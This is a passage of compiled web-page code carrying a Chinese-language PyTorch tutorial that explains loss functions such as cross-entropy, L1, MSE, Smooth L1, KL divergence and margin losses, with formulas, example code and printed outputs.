4b\u548c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduce"}),":\u6570\u636e\u7c7b\u578b\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0closs\u7684\u8fd4\u56de\u662f\u6807\u91cf\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a\n$\n\\ell(x, y)=\\left{\\begin{array}{ll}\n\\operatorname{mean}(L), & \\text { if reduction }=\\text { 'mean' } \\\n\\operatorname{sum}(L), & \\text { if reduction }=\\text { 'sum' }\n\\end{array}\\right.\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"m = nn.Sigmoid()\nloss = nn.BCELoss()\ninput = torch.randn(3, requires_grad=True)\ntarget = torch.empty(3).random_(2)\noutput = loss(m(input), target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('BCELoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"BCELoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.5732, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"352-\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",children:"3.5.2 \u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.CrossEntropyLoss(weight=None, size_average=None, ignore_index=-100, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd"}),"\uff1a\u8ba1\u7b97\u4ea4\u53c9\u71b5\u51fd\u6570"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570"}),"\uff1a"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"weight"}),":\u6bcf\u4e2a\u7c7b\u522b\u7684loss\u8bbe\u7f6e\u6743\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"size_average"}),":\u6570\u636e\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0c\u8fd4\u56de\u7684loss\u4e3a\u5e73\u5747\u503c\uff1b\u4e3aFalse\u65f6\uff0c\u8fd4\u56de\u7684\u5404\u6837\u672c\u7684loss\u4e4b\u548c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"ignore_index"}),":\u5ffd\u7565\u67d0\u4e2a\u7c7b\u7684\u635f\u5931\u51fd\u6570\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduce"}),":\u6570\u636e\u7c7b\u578b\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0closs\u7684\u8fd4\u56de\u662f\u6807\u91cf\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a\n$\n\\operatorname{loss}(x, \\text { class })=-\\log \\left(\\frac{\\exp (x[\\text { class }])}{\\sum_{j} \\exp (x[j])}\\right)=-x[\\text { class }]+\\log \\left(\\sum_{j} \\exp (x[j])\\right)\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.CrossEntropyLoss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.empty(3, dtype=torch.long).random_(5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print(output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"tensor(2.0115, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"353-l1\u635f\u5931\u51fd\u6570",children:"3.5.3 L1\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.L1Loss(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u8f93\u51fa",(0,t.jsx)(e.code,{children:"y"}),"\u548c\u771f\u5b9e\u6807\u7b7e",(0,t.jsx)(e.code,{children:"target"}),"\u4e4b\u95f4\u7684\u5dee\u503c\u7684\u7edd\u5bf9\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u9700\u8981\u77e5\u9053\u7684\u662f\uff0c",(0,t.jsx)(e.code,{children:"reduction"}),"\u53c2\u6570\u51b3\u5b9a\u4e86\u8ba1\u7b97\u6a21\u5f0f\u3002\u6709\u4e09\u79cd\u8ba1\u7b97\u6a21\u5f0f\u53ef\u9009\uff1anone\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\nmean\uff1a\u52a0\u6743\u5e73\u5747\uff0c\u8fd4\u56de\u6807\u91cf\u3002\n\u5982\u679c\u9009\u62e9",(0,t.jsx)(e.code,{children:"none"}),"\uff0c\u90a3\u4e48\u8fd4\u56de\u7684\u7ed3\u679c\u662f\u548c\u8f93\u5165\u5143\u7d20\u76f8\u540c\u5c3a\u5bf8\u7684\u3002\u9ed8\u8ba4\u8ba1\u7b97\u65b9\u5f0f\u662f\u6c42\u5e73\u5747\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"}),"\n$\nL_{n} = |x_{n}-y_{n}|\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.L1Loss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.randn(3, 5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('L1\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"L1\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(1.5729, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"354-mse\u635f\u5931\u51fd\u6570",children:"3.5.4 MSE\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MSELoss(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u8f93\u51fa",(0,t.jsx)(e.code,{children:"y"}),"\u548c\u771f\u5b9e\u6807\u7b7e",(0,t.jsx)(e.code,{children:"target"}),"\u4e4b\u5dee\u7684\u5e73\u65b9\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u548c",(0,t.jsx)(e.code,{children:"L1Loss"}),"\u4e00\u6837\uff0c",(0,t.jsx)(e.code,{children:"MSELoss"}),"\u635f\u5931\u51fd\u6570\u4e2d\uff0c",(0,t.jsx)(e.code,{children:"reduction"}),"\u53c2\u6570\u51b3\u5b9a\u4e86\u8ba1\u7b97\u6a21\u5f0f\u3002\u6709\u4e09\u79cd\u8ba1\u7b97\u6a21\u5f0f\u53ef\u9009\uff1anone\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\u9ed8\u8ba4\u8ba1\u7b97\u65b9\u5f0f\u662f\u6c42\u5e73\u5747\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\nl_{n}=\\left(x_{n}-y_{n}\\right)^{2}\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.MSELoss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.randn(3, 5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('MSE\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MSE\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(1.6968, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"355-\u5e73\u6ed1l1-smooth-l1\u635f\u5931\u51fd\u6570",children:"3.5.5 \u5e73\u6ed1L1 (Smooth L1)\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.SmoothL1Loss(size_average=None, reduce=None, reduction='mean', beta=1.0)\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," L1\u7684\u5e73\u6ed1\u8f93\u51fa\uff0c\u5176\u529f\u80fd\u662f\u51cf\u8f7b\u79bb\u7fa4\u70b9\u5e26\u6765\u7684\u5f71\u54cd"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\u53c2\u6570\u51b3\u5b9a\u4e86\u8ba1\u7b97\u6a21\u5f0f\u3002\u6709\u4e09\u79cd\u8ba1\u7b97\u6a21\u5f0f\u53ef\u9009\uff1anone\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\u9ed8\u8ba4\u8ba1\u7b97\u65b9\u5f0f\u662f\u6c42\u5e73\u5747\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u63d0\u9192\uff1a"})," \u4e4b\u540e\u7684\u635f\u5931\u51fd\u6570\u4e2d\uff0c\u5173\u4e8e",(0,t.jsx)(e.code,{children:"reduction"})," \u8fd9\u4e2a\u53c2\u6570\u4f9d\u65e7\u4f1a\u5b58\u5728\u3002\u6240\u4ee5\uff0c\u4e4b\u540e\u5c31\u4e0d\u518d\u5355\u72ec\u8bf4\u660e\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"}),"\n$\n\\operatorname{loss}(x, y)=\\frac{1}{n} \\sum_{i=1}^{n} z_{i}\n$\n\u5176\u4e2d\uff0c\n$\nz_{i}=\\left{\\begin{array}{ll}\n0.5\\left(x_{i}-y_{i}\\right)^{2}, & \\text { if }\\left|x_{i}-y_{i}\\right|<1 \\\n\\left|x_{i}-y_{i}\\right|-0.5, & \\text { otherwise }\n\\end{array}\\right.\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.SmoothL1Loss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.randn(3, 5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('SmoothL1Loss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"SmoothL1Loss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7808, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u5e73\u6ed1L1\u4e0eL1\u7684\u5bf9\u6bd4"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u6211\u4eec\u901a\u8fc7\u53ef\u89c6\u5316\u4e24\u79cd\u635f\u5931\u51fd\u6570\u66f2\u7ebf\u6765\u5bf9\u6bd4\u5e73\u6ed1L1\u548cL1\u4e24\u79cd\u635f\u5931\u51fd\u6570\u7684\u533a\u522b\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.linspace(-10, 10, steps=5000)\ntarget = torch.zeros_like(inputs)\n\nloss_f_smooth = nn.SmoothL1Loss(reduction='none')\nloss_smooth = loss_f_smooth(inputs, target)\nloss_f_l1 = nn.L1Loss(reduction='none')\nloss_l1 = loss_f_l1(inputs,target)\n\nplt.plot(inputs.numpy(), loss_smooth.numpy(), label='Smooth L1 Loss')\nplt.plot(inputs.numpy(), loss_l1, label='L1 loss')\nplt.xlabel('x_i - y_i')\nplt.ylabel('loss value')\nplt.legend()\nplt.grid()\nplt.show()\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"png",src:s(25613).A+"",width:"382",height:"263"})}),"\n",(0,t.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u51fa\uff0c\u5bf9\u4e8e",(0,t.jsx)(e.code,{children:"smoothL1"}),"\u6765\u8bf4\uff0c\u5728 0 \u8fd9\u4e2a\u5c16\u7aef\u5904\uff0c\u8fc7\u6e21\u66f4\u4e3a\u5e73\u6ed1\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"356-\u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931",children:"3.5.6 \u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.PoissonNLLLoss(log_input=True, full=False, size_average=None, eps=1e-08, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931\u51fd\u6570"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570\uff1a"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"log_input"}),"\uff1a\u8f93\u5165\u662f\u5426\u4e3a\u5bf9\u6570\u5f62\u5f0f\uff0c\u51b3\u5b9a\u8ba1\u7b97\u516c\u5f0f\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"full"}),"\uff1a\u8ba1\u7b97\u6240\u6709 loss\uff0c\u9ed8\u8ba4\u4e3a False\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"eps"}),"\uff1a\u4fee\u6b63\u9879\uff0c\u907f\u514d input \u4e3a 0 \u65f6\uff0clog(input) \u4e3a nan \u7684\u60c5\u51b5\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u6570\u5b66\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u5f53\u53c2\u6570",(0,t.jsx)(e.code,{children:"log_input=True"}),"\uff1a\n$\n\\operatorname{loss}\\left(x_{n}, y_{n}\\right)=e^{x_{n}}-x_{n} \\cdot y_{n}\n$"]}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u5f53\u53c2\u6570",(0,t.jsx)(e.code,{children:"log_input=False"}),"\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}\\left(x_{n}, y_{n}\\right)=x_{n}-y_{n} \\cdot \\log \\left(x_{n}+\\text { eps }\\right)\n$"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.PoissonNLLLoss()\nlog_input = torch.randn(5, 2, requires_grad=True)\ntarget = torch.randn(5, 2)\noutput = loss(log_input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('PoissonNLLLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"PoissonNLLLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7358, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"357-kl\u6563\u5ea6",children:"3.5.7 KL\u6563\u5ea6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.KLDivLoss(size_average=None, reduce=None, reduction='mean', log_target=False)\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97KL\u6563\u5ea6\uff0c\u4e5f\u5c31\u662f\u8ba1\u7b97\u76f8\u5bf9\u71b5\u3002\u7528\u4e8e\u8fde\u7eed\u5206\u5e03\u7684\u8ddd\u79bb\u5ea6\u91cf\uff0c\u5e76\u4e14\u5bf9\u79bb\u6563\u91c7\u7528\u7684\u8fde\u7eed\u8f93\u51fa\u7a7a\u95f4\u5206\u5e03\u8fdb\u884c\u56de\u5f52\u901a\u5e38\u5f88\u6709\u7528\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a ",(0,t.jsx)(e.code,{children:"none"}),"/",(0,t.jsx)(e.code,{children:"sum"}),"/",(0,t.jsx)(e.code,{children:"mean"}),"/",(0,t.jsx)(e.code,{children:"batchmean"}),"\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"none\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\n\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\n\nmean\uff1a\u52a0\u6743\u5e73\u5747\uff0c\u8fd4\u56de\u6807\u91cf\u3002\n\nbatchmean\uff1abatchsize \u7ef4\u5ea6\u6c42\u5e73\u5747\u503c\u3002\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsxs)(e.p,{children:["$\n\\begin{aligned}\nD_{\\mathrm{KL}}(P, Q)=\\mathrm{E}",(0,t.jsx)(e.em,{children:"{X \\sim P}\\left[\\log \\frac{P(X)}{Q(X)}\\right] &=\\mathrm{E}"}),"{X \\sim P}[\\log P(X)-\\log Q(X)] \\\n&=\\sum_{i=1}^{n} P\\left(x_{i}\\right)\\left(\\log P\\left(x_{i}\\right)-\\log Q\\left(x_{i}\\right)\\right)\n\\end{aligned}\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.tensor([[0.5, 0.3, 0.2], [0.2, 0.3, 0.5]])\ntarget = torch.tensor([[0.9, 0.05, 0.05], [0.1, 0.7, 0.2]], dtype=torch.float)\nloss = nn.KLDivLoss()\noutput = loss(inputs,target)\n\nprint('KLDivLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"KLDivLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(-0.3335)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"358-marginrankingloss",children:"3.5.8 MarginRankingLoss"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MarginRankingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u4e24\u4e2a\u5411\u91cf\u4e4b\u95f4\u7684\u76f8\u4f3c\u5ea6\uff0c\u7528\u4e8e\u6392\u5e8f\u4efb\u52a1\u3002\u8be5\u65b9\u6cd5\u7528\u4e8e\u8ba1\u7b97\u4e24\u7ec4\u6570\u636e\u4e4b\u95f4\u7684\u5dee\u5f02\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c\uff0c$x_{1}$ \u4e0e$x_{2}$ \u4e4b\u95f4\u7684\u5dee\u5f02\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x 1, x 2, y)=\\max (0,-y *(x 1-x 2)+\\operatorname{margin})\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.MarginRankingLoss()\ninput1 = torch.randn(3, requires_grad=True)\ninput2 = torch.randn(3, requires_grad=True)\ntarget = torch.randn(3).sign()\noutput = loss(input1, input2, target)\noutput.backward()\n\nprint('MarginRankingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MarginRankingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7740, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"359-\u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570",children:"3.5.9 \u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MultiLabelMarginLoss(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u5bf9\u4e8e\u591a\u6807\u7b7e\u5206\u7c7b\u95ee\u9898\u8ba1\u7b97\u635f\u5931\u51fd\u6570\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"}),"\n$\n\\operatorname{loss}(x, y)=\\sum_{i j} \\frac{\\max (0,1-x[y[j]]-x[i])}{x \\cdot \\operatorname{size}(0)}\n$"]}),"\n",(0,t.jsx)(e.p,{children:"$\n\\begin{array}{l}\n\\text { \u5176\u4e2d, } i=0, \\ldots, x \\cdot \\operatorname{size}(0), j=0, \\ldots, y \\cdot \\operatorname{size}(0), \\text { \u5bf9\u4e8e\u6240\u6709\u7684 } i \\text { \u548c } j \\text {, \u90fd\u6709 } y[j] \\geq 0 \\text { \u5e76\u4e14 }\\\ni \\neq y[j]\n\\end{array}\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.MultiLabelMarginLoss()\nx = torch.FloatTensor([[0.9, 0.2, 0.4, 0.8]])\n# for target y, only consider labels 3 and 0, not after label -1\ny = torch.LongTensor([[3, 0, -1, 1]])# \u771f\u5b9e\u7684\u5206\u7c7b\u662f\uff0c\u7b2c3\u7c7b\u548c\u7b2c0\u7c7b\noutput = loss(x, y)\n\nprint('MultiLabelMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MultiLabelMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.4500)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3510-\u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570",children:"3.5.10 \u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.SoftMarginLoss(size_average=None, reduce=None, reduction='mean')torch.nn.(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u4e8c\u5206\u7c7b\u7684 logistic \u635f\u5931\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x, y)=\\sum_{i} \\frac{\\log (1+\\exp (-y[i] \\cdot x[i]))}{x \\cdot \\operatorname{nelement}()}\n$"}),"\n",(0,t.jsxs)(e.p,{children:["$\n",(0,t.jsx)(e.br,{}),"\n\\text { \u5176\u4e2d, } x . \\text { nelement() \u4e3a\u8f93\u5165 } x \\text { \u4e2d\u7684\u6837\u672c\u4e2a\u6570\u3002\u6ce8\u610f\u8fd9\u91cc } y \\text { \u4e5f\u6709 } 1 \\text { \u548c }-1 \\text { \u4e24\u79cd\u6a21\u5f0f\u3002 }\n",(0,t.jsx)(e.br,{}),"\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]]) # \u4e24\u4e2a\u6837\u672c\uff0c\u4e24\u4e2a\u795e\u7ecf\u5143\ntarget = torch.tensor([[-1, 1], [1, -1]], dtype=torch.float) # \u8be5 loss \u4e3a\u9010\u4e2a\u795e\u7ecf\u5143\u8ba1\u7b97\uff0c\u9700\u8981\u4e3a\u6bcf\u4e2a\u795e\u7ecf\u5143\u5355\u72ec\u8bbe\u7f6e\u6807\u7b7e\n\nloss_f = nn.SoftMarginLoss()\noutput = loss_f(inputs, target)\n\nprint('SoftMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"SoftMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.6764)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3511-\u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931",children:"3.5.11 \u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MultiMarginLoss(p=1, margin=1.0, weight=None, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"p\uff1a"}),"\u53ef\u9009 1 \u6216 